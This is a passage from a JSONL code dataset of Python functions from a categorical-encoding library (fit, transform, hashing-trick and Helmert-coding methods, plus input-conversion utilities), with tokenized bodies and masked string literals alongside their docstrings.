"f3997:c0:m1"}
{"signature": "def transform(self, X, y=None, override_return_df=False):", "body": "if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if self._dim is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>X = util.convert_input(X)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>raise ValueError('<STR_LIT>' % (X.shape[<NUM_LIT:1>], self._dim,))<EOL><DEDENT>if y is not None:<EOL><INDENT>y = util.convert_input_vector(y, X.index).astype(float)<EOL>if X.shape[<NUM_LIT:0>] != y.shape[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(X.shape[<NUM_LIT:0>]) + \"<STR_LIT>\" + str(y.shape[<NUM_LIT:0>]) + \"<STR_LIT:.>\")<EOL><DEDENT><DEDENT>if not self.cols:<EOL><INDENT>return X<EOL><DEDENT>X = X.copy(deep=True)<EOL>X = self.ordinal_encoder.transform(X)<EOL>if self.handle_unknown == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isin([-<NUM_LIT:1>]).any().any():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>X = self._score(X, y)<EOL>if self.drop_invariant:<EOL><INDENT>for col in self.drop_cols:<EOL><INDENT>X.drop(col, <NUM_LIT:1>, inplace=True)<EOL><DEDENT><DEDENT>if self.return_df or override_return_df:<EOL><INDENT>return X<EOL><DEDENT>else:<EOL><INDENT>return X.values<EOL><DEDENT>", "docstring": "Perform the transformation to new categorical data. When the data are used for model training,\n        it is important to also pass the target in order to apply leave one out.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n        y : array-like, shape = [n_samples] when transform by leave one out\n            None, when transform without target information (such as transform test set)\n\n        Returns\n        -------\n\n        p : array, shape = [n_samples, n_numeric + N]\n            Transformed values with encoding applied.", "id": "f3997:c0:m2"}
{"signature": "def fit_transform(self, X, y=None, **fit_params):", "body": "return self.fit(X, y, **fit_params).transform(X, y)<EOL>", "docstring": "Encoders that utilize the target must make sure that the training data are transformed with:\n    transform(X, y)\nand not with:\n    transform(X)", "id": "f3997:c0:m3"}
{"signature": "def get_feature_names(self):", "body": "if not isinstance(self.feature_names, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return self.feature_names<EOL><DEDENT>", "docstring": "Returns the names of all transformed / added columns.\n\nReturns\n-------\nfeature_names: list\n    A list with all feature names transformed or added.\n    Note: potentially dropped features are not included!", "id": "f3997:c0:m6"}
{"signature": "def fit(self, X, y=None, **kwargs):", "body": "<EOL>X = util.convert_input(X)<EOL>self._dim = X.shape[<NUM_LIT:1>]<EOL>if self.cols is None:<EOL><INDENT>self.cols = util.get_obj_cols(X)<EOL><DEDENT>else:<EOL><INDENT>self.cols = util.convert_cols_to_list(self.cols)<EOL><DEDENT>if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>self.ordinal_encoder = OrdinalEncoder(<EOL>verbose=self.verbose,<EOL>cols=self.cols,<EOL>handle_unknown='<STR_LIT:value>',<EOL>handle_missing='<STR_LIT:value>'<EOL>)<EOL>self.ordinal_encoder = self.ordinal_encoder.fit(X)<EOL>self.mapping = self.generate_mapping()<EOL>X_temp = self.transform(X, override_return_df=True)<EOL>self.feature_names = list(X_temp.columns)<EOL>if self.drop_invariant:<EOL><INDENT>self.drop_cols = []<EOL>generated_cols = util.get_generated_cols(X, X_temp, self.cols)<EOL>self.drop_cols = [x for x in generated_cols if X_temp[x].var() <= <NUM_LIT>]<EOL>try:<EOL><INDENT>[self.feature_names.remove(x) for x in self.drop_cols]<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Fit encoder according to X and y.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n            Training vectors, where n_samples is the number of samples\n            and n_features is the number of features.\n        y : array-like, shape = [n_samples]\n            Target values.\n\n        Returns\n        -------\n\n        self : encoder\n            Returns self.", "id": "f3998:c0:m2"}
{"signature": "def transform(self, X, override_return_df=False):", "body": "if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if self._dim is None:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>X = util.convert_input(X)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>raise ValueError('<STR_LIT>' % (<EOL>X.shape[<NUM_LIT:1>], self._dim, ))<EOL><DEDENT>if not self.cols:<EOL><INDENT>return X if self.return_df else X.values<EOL><DEDENT>X = self.ordinal_encoder.transform(X)<EOL>if self.handle_unknown == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isin([-<NUM_LIT:1>]).any().any():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>X = self.get_dummies(X)<EOL>if self.drop_invariant:<EOL><INDENT>for col in self.drop_cols:<EOL><INDENT>X.drop(col, <NUM_LIT:1>, inplace=True)<EOL><DEDENT><DEDENT>if self.return_df or override_return_df:<EOL><INDENT>return X<EOL><DEDENT>else:<EOL><INDENT>return X.values<EOL><DEDENT>", "docstring": "Perform the transformation to new categorical data.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n\n        Returns\n        -------\n\n        p : array, shape = [n_samples, n_numeric + N]\n            Transformed values with encoding applied.", "id": "f3998:c0:m4"}
{"signature": "def inverse_transform(self, X_in):", "body": "X = X_in.copy(deep=True)<EOL>X = util.convert_input(X)<EOL>if self._dim is None:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>X = self.reverse_dummies(X, self.mapping)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>if self.drop_invariant:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (X.shape[<NUM_LIT:1>],))<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % (<EOL>X.shape[<NUM_LIT:1>], self._dim, ))<EOL><DEDENT><DEDENT>if not self.cols:<EOL><INDENT>return X if self.return_df else X.values<EOL><DEDENT>for switch in self.ordinal_encoder.mapping:<EOL><INDENT>column_mapping = switch.get('<STR_LIT>')<EOL>inverse = pd.Series(data=column_mapping.index, index=column_mapping.get_values())<EOL>X[switch.get('<STR_LIT>')] = X[switch.get('<STR_LIT>')].map(inverse).astype(switch.get('<STR_LIT>'))<EOL>if self.handle_unknown == '<STR_LIT>' and self.handle_missing == '<STR_LIT>':<EOL><INDENT>for col in self.cols:<EOL><INDENT>if X[switch.get('<STR_LIT>')].isnull().any():<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (col,))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return X if self.return_df else X.values<EOL>", "docstring": "Perform the inverse transformation to encoded data.\n\nParameters\n----------\nX_in : array-like, shape = [n_samples, n_features]\n\nReturns\n-------\np: array, the same size of X_in", "id": "f3998:c0:m5"}
{"signature": "def get_dummies(self, X_in):", "body": "X = X_in.copy(deep=True)<EOL>cols = X.columns.values.tolist()<EOL>for switch in self.mapping:<EOL><INDENT>col = switch.get('<STR_LIT>')<EOL>mod = switch.get('<STR_LIT>')<EOL>base_df = mod.reindex(X[col])<EOL>base_df = base_df.set_index(X.index)<EOL>X = pd.concat([base_df, X], axis=<NUM_LIT:1>)<EOL>old_column_index = cols.index(col)<EOL>cols[old_column_index: old_column_index + <NUM_LIT:1>] = mod.columns<EOL><DEDENT>X = X.reindex(columns=cols)<EOL>return X<EOL>", "docstring": "Convert numerical variable into dummy variables\n\nParameters\n----------\nX_in: DataFrame\n\nReturns\n-------\ndummies : DataFrame", "id": "f3998:c0:m6"}
{"signature": "def reverse_dummies(self, X, mapping):", "body": "out_cols = X.columns.values.tolist()<EOL>mapped_columns = []<EOL>for switch in mapping:<EOL><INDENT>col = switch.get('<STR_LIT>')<EOL>mod = switch.get('<STR_LIT>')<EOL>insert_at = out_cols.index(mod.columns[<NUM_LIT:0>])<EOL>X.insert(insert_at, col, <NUM_LIT:0>)<EOL>positive_indexes = mod.index[mod.index > <NUM_LIT:0>]<EOL>for i in range(positive_indexes.shape[<NUM_LIT:0>]):<EOL><INDENT>existing_col = mod.columns[i]<EOL>val = positive_indexes[i]<EOL>X.loc[X[existing_col] == <NUM_LIT:1>, col] = val<EOL>mapped_columns.append(existing_col)<EOL><DEDENT>X.drop(mod.columns, axis=<NUM_LIT:1>, inplace=True)<EOL>out_cols = X.columns.values.tolist()<EOL><DEDENT>return X<EOL>", "docstring": "Convert dummy variable into numerical variables\n\nParameters\n----------\nX : DataFrame\nmapping: list-like\n      Contains mappings of column to be transformed to it's new columns and value represented\n\nReturns\n-------\nnumerical: DataFrame", "id": "f3998:c0:m7"}
{"signature": "def get_feature_names(self):", "body": "if not isinstance(self.feature_names, list):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return self.feature_names<EOL><DEDENT>", "docstring": "Returns the names of all transformed / added columns.\n\nReturns\n-------\nfeature_names: list\n    A list with all feature names transformed or added.\n    Note: potentially dropped features are not included!", "id": "f3998:c0:m8"}
{"signature": "def get_obj_cols(df):", "body": "obj_cols = []<EOL>for idx, dt in enumerate(df.dtypes):<EOL><INDENT>if dt == '<STR_LIT:object>' or is_category(dt):<EOL><INDENT>obj_cols.append(df.columns.values[idx])<EOL><DEDENT><DEDENT>return obj_cols<EOL>", "docstring": "Returns names of 'object' columns in the DataFrame.", "id": "f3999:m1"}
{"signature": "def convert_input(X):", "body": "if not isinstance(X, pd.DataFrame):<EOL><INDENT>if isinstance(X, list):<EOL><INDENT>X = pd.DataFrame(X)<EOL><DEDENT>elif isinstance(X, (np.generic, np.ndarray)):<EOL><INDENT>X = pd.DataFrame(X)<EOL><DEDENT>elif isinstance(X, csr_matrix):<EOL><INDENT>X = pd.DataFrame(X.todense())<EOL><DEDENT>elif isinstance(X, pd.Series):<EOL><INDENT>X = pd.DataFrame(X)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % (str(type(X))))<EOL><DEDENT>X = X.apply(lambda x: pd.to_numeric(x, errors='<STR_LIT:ignore>'))<EOL><DEDENT>return X<EOL>", "docstring": "Unite data into a DataFrame.", "id": "f3999:m3"}
{"signature": "def convert_input_vector(y, index):", "body": "if y is None:<EOL><INDENT>return None<EOL><DEDENT>if isinstance(y, pd.Series):<EOL><INDENT>return y<EOL><DEDENT>elif isinstance(y, np.ndarray):<EOL><INDENT>if len(np.shape(y))==<NUM_LIT:1>:  <EOL><INDENT>return pd.Series(y, name='<STR_LIT:target>', index=index)<EOL><DEDENT>elif len(np.shape(y))==<NUM_LIT:2> and np.shape(y)[<NUM_LIT:0>]==<NUM_LIT:1>:  <EOL><INDENT>return pd.Series(y[<NUM_LIT:0>, :], name='<STR_LIT:target>', index=index)<EOL><DEDENT>elif len(np.shape(y))==<NUM_LIT:2> and np.shape(y)[<NUM_LIT:1>]==<NUM_LIT:1>:  <EOL><INDENT>return pd.Series(y[:, <NUM_LIT:0>], name='<STR_LIT:target>', index=index)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % (str(np.shape(y))))<EOL><DEDENT><DEDENT>elif np.isscalar(y):<EOL><INDENT>return pd.Series([y], name='<STR_LIT:target>', index=index)<EOL><DEDENT>elif isinstance(y, list):<EOL><INDENT>if len(y)==<NUM_LIT:0> or (len(y)><NUM_LIT:0> and not isinstance(y[<NUM_LIT:0>], list)): <EOL><INDENT>return pd.Series(y, name='<STR_LIT:target>', index=index)<EOL><DEDENT>elif len(y)><NUM_LIT:0> and isinstance(y[<NUM_LIT:0>], list) and len(y[<NUM_LIT:0>])==<NUM_LIT:1>: <EOL><INDENT>flatten = lambda y: [item for sublist in y for item in sublist]<EOL>return pd.Series(flatten(y), name='<STR_LIT:target>', index=index)<EOL><DEDENT>elif len(y)==<NUM_LIT:1> and isinstance(y[<NUM_LIT:0>], list): <EOL><INDENT>return pd.Series(y[<NUM_LIT:0>], name='<STR_LIT:target>', index=index)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>elif isinstance(y, pd.DataFrame):<EOL><INDENT>if len(list(y))==<NUM_LIT:0>: <EOL><INDENT>return pd.Series(y, name='<STR_LIT:target>')<EOL><DEDENT>if len(list(y))==<NUM_LIT:1>: <EOL><INDENT>return y.iloc[:, <NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % (str(y.shape)))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return pd.Series(y, name='<STR_LIT:target>', index=index)<EOL><DEDENT>", "docstring": "Unite target data type into a Series.\nIf the target is a Series or a DataFrame, we preserve its index.\nBut if the target does not contain index attribute, we use the index from the argument.", "id": "f3999:m4"}
{"signature": "def get_generated_cols(X_original, X_transformed, to_transform):", "body": "original_cols = list(X_original.columns)<EOL>if len(to_transform) > <NUM_LIT:0>:<EOL><INDENT>[original_cols.remove(c) for c in to_transform]<EOL><DEDENT>current_cols = list(X_transformed.columns)<EOL>if len(original_cols) > <NUM_LIT:0>:<EOL><INDENT>[current_cols.remove(c) for c in original_cols]<EOL><DEDENT>return current_cols<EOL>", "docstring": "Returns a list of the generated/transformed columns.\n\nArguments:\n    X_original: df\n        the original (input) DataFrame.\n    X_transformed: df\n        the transformed (current) DataFrame.\n    to_transform: [str]\n        a list of columns that were transformed (as in the original DataFrame), commonly self.cols.\n\nOutput:\n    a list of columns that were transformed (as in the current DataFrame).", "id": "f3999:m5"}
{"signature": "def fit(self, X, y=None, **kwargs):", "body": "<EOL>X = util.convert_input(X)<EOL>self._dim = X.shape[<NUM_LIT:1>]<EOL>if self.cols is None:<EOL><INDENT>self.cols = util.get_obj_cols(X)<EOL><DEDENT>else:<EOL><INDENT>self.cols = util.convert_cols_to_list(self.cols)<EOL><DEDENT>X_temp = self.transform(X, override_return_df=True)<EOL>self.feature_names = X_temp.columns.tolist()<EOL>if self.drop_invariant:<EOL><INDENT>self.drop_cols = []<EOL>generated_cols = util.get_generated_cols(X, X_temp, self.cols)<EOL>self.drop_cols = [x for x in generated_cols if X_temp[x].var() <= <NUM_LIT>]<EOL>try:<EOL><INDENT>[self.feature_names.remove(x) for x in self.drop_cols]<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Fit encoder according to X and y.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n            Training vectors, where n_samples is the number of samples\n            and n_features is the number of features.\n        y : array-like, shape = [n_samples]\n            Target values.\n\n        Returns\n        -------\n\n        self : encoder\n            Returns self.", "id": "f4000:c0:m1"}
{"signature": "def transform(self, X, override_return_df=False):", "body": "if self._dim is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>X = util.convert_input(X)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>raise ValueError('<STR_LIT>' % (X.shape[<NUM_LIT:1>], self._dim, ))<EOL><DEDENT>if not self.cols:<EOL><INDENT>return X<EOL><DEDENT>X = self.hashing_trick(X, hashing_method=self.hash_method, N=self.n_components, cols=self.cols)<EOL>if self.drop_invariant:<EOL><INDENT>for col in self.drop_cols:<EOL><INDENT>X.drop(col, <NUM_LIT:1>, inplace=True)<EOL><DEDENT><DEDENT>if self.return_df or override_return_df:<EOL><INDENT>return X<EOL><DEDENT>else:<EOL><INDENT>return X.values<EOL><DEDENT>", "docstring": "Perform the transformation to new categorical data.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n\n        Returns\n        -------\n\n        p : array, shape = [n_samples, n_numeric + N]\n            Transformed values with encoding applied.", "id": "f4000:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def hashing_trick(X_in, hashing_method='<STR_LIT>', N=<NUM_LIT:2>, cols=None, make_copy=False):<DEDENT>", "body": "try:<EOL><INDENT>if hashing_method not in hashlib.algorithms_available:<EOL><INDENT>raise ValueError('<STR_LIT>' % (<EOL>hashing_method,<EOL>'<STR_LIT:U+002CU+0020>'.join([str(x) for x in hashlib.algorithms_available])<EOL>))<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>try:<EOL><INDENT>_ = hashlib.new(hashing_method)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if make_copy:<EOL><INDENT>X = X_in.copy(deep=True)<EOL><DEDENT>else:<EOL><INDENT>X = X_in<EOL><DEDENT>if cols is None:<EOL><INDENT>cols = X.columns.values<EOL><DEDENT>def hash_fn(x):<EOL><INDENT>tmp = [<NUM_LIT:0> for _ in range(N)]<EOL>for val in x.values:<EOL><INDENT>if val is not None:<EOL><INDENT>hasher = hashlib.new(hashing_method)<EOL>if sys.version_info[<NUM_LIT:0>] == <NUM_LIT:2>:<EOL><INDENT>hasher.update(str(val))<EOL><DEDENT>else:<EOL><INDENT>hasher.update(bytes(str(val), '<STR_LIT:utf-8>'))<EOL><DEDENT>tmp[int(hasher.hexdigest(), <NUM_LIT:16>) % N] += <NUM_LIT:1><EOL><DEDENT><DEDENT>return pd.Series(tmp, index=new_cols)<EOL><DEDENT>new_cols = ['<STR_LIT>' % d for d in range(N)]<EOL>X_cat = X.loc[:, cols]<EOL>X_num = X.loc[:, [x for x in X.columns.values if x not in cols]]<EOL>X_cat = X_cat.apply(hash_fn, axis=<NUM_LIT:1>)<EOL>X_cat.columns = new_cols<EOL>X = pd.concat([X_cat, X_num], axis=<NUM_LIT:1>)<EOL>return X<EOL>", "docstring": "A basic hashing implementation with configurable dimensionality/precision\n\n        Performs the hashing trick on a pandas dataframe, `X`, using the hashing method from hashlib\n        identified by `hashing_method`.  The number of output dimensions (`N`), and columns to hash (`cols`) are\n        also configurable.\n\n        Parameters\n        ----------\n\n        X_in: pandas dataframe\n            description text\n        hashing_method: string, optional\n            description text\n        N: int, optional\n            description text\n        cols: list, optional\n            description text\n        make_copy: bool, optional\n            description text\n\n        Returns\n        -------\n\n        out : dataframe\n            A hashing encoded dataframe.\n\n        References\n        ----------\n        Cite the relevant literature, e.g. [1]_.  You may also cite these\n        references in the notes section above.\n        .. [1] Kilian Weinberger; Anirban Dasgupta; John Langford; Alex Smola; Josh Attenberg (2009). Feature Hashing\n        for Large Scale Multitask Learning. Proc. ICML.", "id": "f4000:c0:m3"}
{"signature": "def get_feature_names(self):", "body": "if not isinstance(self.feature_names, list):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return self.feature_names<EOL><DEDENT>", "docstring": "Returns the names of all transformed / added columns.\n\nReturns\n-------\nfeature_names: list\n    A list with all feature names transformed or added.\n    Note: potentially dropped features are not included!", "id": "f4000:c0:m4"}
{"signature": "def fit(self, X, y, **kwargs):", "body": "<EOL>X = util.convert_input(X)<EOL>y = util.convert_input_vector(y, X.index).astype(float)<EOL>if X.shape[<NUM_LIT:0>] != y.shape[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(X.shape[<NUM_LIT:0>]) + \"<STR_LIT>\" + str(y.shape[<NUM_LIT:0>]) + \"<STR_LIT:.>\")<EOL><DEDENT>self._dim = X.shape[<NUM_LIT:1>]<EOL>if self.cols is None:<EOL><INDENT>self.cols = util.get_obj_cols(X)<EOL><DEDENT>else:<EOL><INDENT>self.cols = util.convert_cols_to_list(self.cols)<EOL><DEDENT>if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>self.ordinal_encoder = OrdinalEncoder(<EOL>verbose=self.verbose,<EOL>cols=self.cols,<EOL>handle_unknown='<STR_LIT:value>',<EOL>handle_missing='<STR_LIT:value>'<EOL>)<EOL>self.ordinal_encoder = self.ordinal_encoder.fit(X)<EOL>X_ordinal = self.ordinal_encoder.transform(X)<EOL>self.mapping = self._train(X_ordinal, y)<EOL>X_temp = self.transform(X, override_return_df=True)<EOL>self.feature_names = X_temp.columns.tolist()<EOL>if self.drop_invariant:<EOL><INDENT>self.drop_cols = []<EOL>generated_cols = util.get_generated_cols(X, X_temp, self.cols)<EOL>self.drop_cols = [x for x in generated_cols if X_temp[x].var() <= <NUM_LIT>]<EOL>try:<EOL><INDENT>[self.feature_names.remove(x) for x in self.drop_cols]<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Fit encoder according to X and binary y.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n            Training vectors, where n_samples is the number of samples\n            and n_features is the number of features.\n        y : array-like, shape = [n_samples]\n            Binary target values.\n\n        Returns\n        -------\n\n        self : encoder\n            Returns self.", "id": "f4001:c0:m1"}
{"signature": "def transform(self, X, y=None, override_return_df=False):", "body": "if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if self._dim is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>X = util.convert_input(X)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>raise ValueError('<STR_LIT>' % (X.shape[<NUM_LIT:1>], self._dim,))<EOL><DEDENT>if y is not None:<EOL><INDENT>y = util.convert_input_vector(y, X.index).astype(float)<EOL>if X.shape[<NUM_LIT:0>] != y.shape[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(X.shape[<NUM_LIT:0>]) + \"<STR_LIT>\" + str(y.shape[<NUM_LIT:0>]) + \"<STR_LIT:.>\")<EOL><DEDENT><DEDENT>if not self.cols:<EOL><INDENT>return X<EOL><DEDENT>X = X.copy(deep=True)<EOL>X = self.ordinal_encoder.transform(X)<EOL>if self.handle_unknown == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isin([-<NUM_LIT:1>]).any().any():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>X = self._score(X, y)<EOL>if self.drop_invariant:<EOL><INDENT>for col in self.drop_cols:<EOL><INDENT>X.drop(col, <NUM_LIT:1>, inplace=True)<EOL><DEDENT><DEDENT>if self.return_df or override_return_df:<EOL><INDENT>return X<EOL><DEDENT>else:<EOL><INDENT>return X.values<EOL><DEDENT>", "docstring": "Perform the transformation to new categorical data.\n\n        When the data are used for model training, it is important to also pass the target in order to apply leave one out.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n        y : array-like, shape = [n_samples] when transform by leave one out\n            None, when transform without target information (such as transform test set)\n\n\n        Returns\n        -------\n\n        p : array, shape = [n_samples, n_numeric + N]\n            Transformed values with encoding applied.", "id": "f4001:c0:m2"}
{"signature": "def fit_transform(self, X, y=None, **fit_params):", "body": "return self.fit(X, y, **fit_params).transform(X, y)<EOL>", "docstring": "Encoders that utilize the target must make sure that the training data are transformed with:\n    transform(X, y)\nand not with:\n    transform(X)", "id": "f4001:c0:m3"}
{"signature": "def get_feature_names(self):", "body": "if not isinstance(self.feature_names, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return self.feature_names<EOL><DEDENT>", "docstring": "Returns the names of all transformed / added columns.\n\nReturns\n-------\nfeature_names: list\n    A list with all feature names transformed or added.\n    Note: potentially dropped features are not included!", "id": "f4001:c0:m6"}
{"signature": "def fit(self, X, y=None, **kwargs):", "body": "<EOL>X = util.convert_input(X)<EOL>self._dim = X.shape[<NUM_LIT:1>]<EOL>if self.cols is None:<EOL><INDENT>self.cols = util.get_obj_cols(X)<EOL><DEDENT>else:<EOL><INDENT>self.cols = util.convert_cols_to_list(self.cols)<EOL><DEDENT>if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>self.ordinal_encoder = OrdinalEncoder(<EOL>verbose=self.verbose,<EOL>cols=self.cols,<EOL>handle_unknown='<STR_LIT:value>',<EOL>handle_missing='<STR_LIT:value>'<EOL>)<EOL>self.ordinal_encoder = self.ordinal_encoder.fit(X)<EOL>ordinal_mapping = self.ordinal_encoder.category_mapping<EOL>mappings_out = []<EOL>for switch in ordinal_mapping:<EOL><INDENT>values = switch.get('<STR_LIT>')<EOL>col = switch.get('<STR_LIT>')<EOL>column_mapping = self.fit_helmert_coding(col, values, self.handle_missing, self.handle_unknown)<EOL>mappings_out.append({'<STR_LIT>': col, '<STR_LIT>': column_mapping, })<EOL><DEDENT>self.mapping = mappings_out<EOL>X_temp = self.transform(X, override_return_df=True)<EOL>self.feature_names = X_temp.columns.tolist()<EOL>if self.drop_invariant:<EOL><INDENT>self.drop_cols = []<EOL>generated_cols = util.get_generated_cols(X, X_temp, self.cols)<EOL>self.drop_cols = [x for x in generated_cols if X_temp[x].var() <= <NUM_LIT>]<EOL>try:<EOL><INDENT>[self.feature_names.remove(x) for x in self.drop_cols]<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Fit encoder according to X and y.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n            Training vectors, where n_samples is the number of samples\n            and n_features is the number of features.\n        y : array-like, shape = [n_samples]\n            Target values.\n\n        Returns\n        -------\n\n        self : encoder\n            Returns self.", "id": "f4002:c0:m1"}
{"signature": "def transform(self, X, override_return_df=False):", "body": "if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if self._dim is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>X = util.convert_input(X)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>raise ValueError('<STR_LIT>' % (X.shape[<NUM_LIT:1>], self._dim, ))<EOL><DEDENT>if not self.cols:<EOL><INDENT>return X<EOL><DEDENT>X = self.ordinal_encoder.transform(X)<EOL>if self.handle_unknown == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isin([-<NUM_LIT:1>]).any().any():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>X = self.helmert_coding(X, mapping=self.mapping)<EOL>if self.drop_invariant:<EOL><INDENT>for col in self.drop_cols:<EOL><INDENT>X.drop(col, <NUM_LIT:1>, inplace=True)<EOL><DEDENT><DEDENT>if self.return_df or override_return_df:<EOL><INDENT>return X<EOL><DEDENT>else:<EOL><INDENT>return X.values<EOL><DEDENT>", "docstring": "Perform the transformation to new categorical data.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n\n        Returns\n        -------\n\n        p : array, shape = [n_samples, n_numeric + N]\n            Transformed values with encoding applied.", "id": "f4002:c0:m2"}
{"signature": "def get_feature_names(self):", "body": "if not isinstance(self.feature_names, list):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return self.feature_names<EOL><DEDENT>", "docstring": "Returns the names of all transformed / added columns.\n\nReturns\n-------\nfeature_names: list\n    A list with all feature names transformed or added.\n    Note: potentially dropped features are not included!", "id": "f4002:c0:m5"}
{"signature": "def fit(self, X, y, **kwargs):", "body": "<EOL>X = util.convert_input(X)<EOL>y = util.convert_input_vector(y, X.index).astype(float)<EOL>if X.shape[<NUM_LIT:0>] != y.shape[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(X.shape[<NUM_LIT:0>]) + \"<STR_LIT>\" + str(y.shape[<NUM_LIT:0>]) + \"<STR_LIT:.>\")<EOL><DEDENT>self._dim = X.shape[<NUM_LIT:1>]<EOL>if self.cols is None:<EOL><INDENT>self.cols = util.get_obj_cols(X)<EOL><DEDENT>else:<EOL><INDENT>self.cols = util.convert_cols_to_list(self.cols)<EOL><DEDENT>if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>self.ordinal_encoder = OrdinalEncoder(<EOL>verbose=self.verbose,<EOL>cols=self.cols,<EOL>handle_unknown='<STR_LIT:value>',<EOL>handle_missing='<STR_LIT:value>'<EOL>)<EOL>self.ordinal_encoder = self.ordinal_encoder.fit(X)<EOL>X_ordinal = self.ordinal_encoder.transform(X)<EOL>if self.model == '<STR_LIT>':<EOL><INDENT>self.mapping = self._train_independent(X_ordinal, 